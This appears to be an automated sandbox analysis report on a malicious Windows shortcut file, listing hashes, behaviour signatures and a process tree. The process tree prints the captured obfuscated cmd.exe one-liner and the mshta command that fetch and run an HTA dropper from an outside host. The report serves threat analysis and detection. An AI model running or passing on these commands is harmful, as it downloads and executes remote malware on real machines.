Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 13:14
Static task
static1
Behavioral task
behavioral1
Sample
DOC-TC56FA.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-TC56FA.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-TC56FA.lnk
- Size 1KB
- Sample260803-qg3heaaa95
- SHA256 e2026a599bcb9e84d615d2a77253e6f89e2cf3ebedbe4e9d0dcc3395675dfd7e
- MD5 135b5b0e4d37cb35ada6f3ce046f6180
- SHA1 06d752df337531eb9eff289a450b74cfc4b77fac
- SHA512 2c201ea06a511b54333817ae65d0581de1c1e3d6b0c69e4db1c2df9d28c4048dfd08813803723503592a66024ede11b3938504f2f6683775b6321880b26c2c35
- TLSH T1BE31CB103FFA0614F3F38E7394BB6B2088BBB9668E20C61D4240464C1072A05E17BF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bro-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1312 cmd.exe 2720 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1312 wrote to memory of 2720 1312 cmd.exe 90 PID 2720 wrote to memory of 1420 2720 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TC56FA.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1312 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /C "set Fc=msh&&set bXPly=ta&&start "" !Fc!!bXPly! https://bro-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2720 -
C:\Windows\System32\mshta.exemshta https://bro-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:1420
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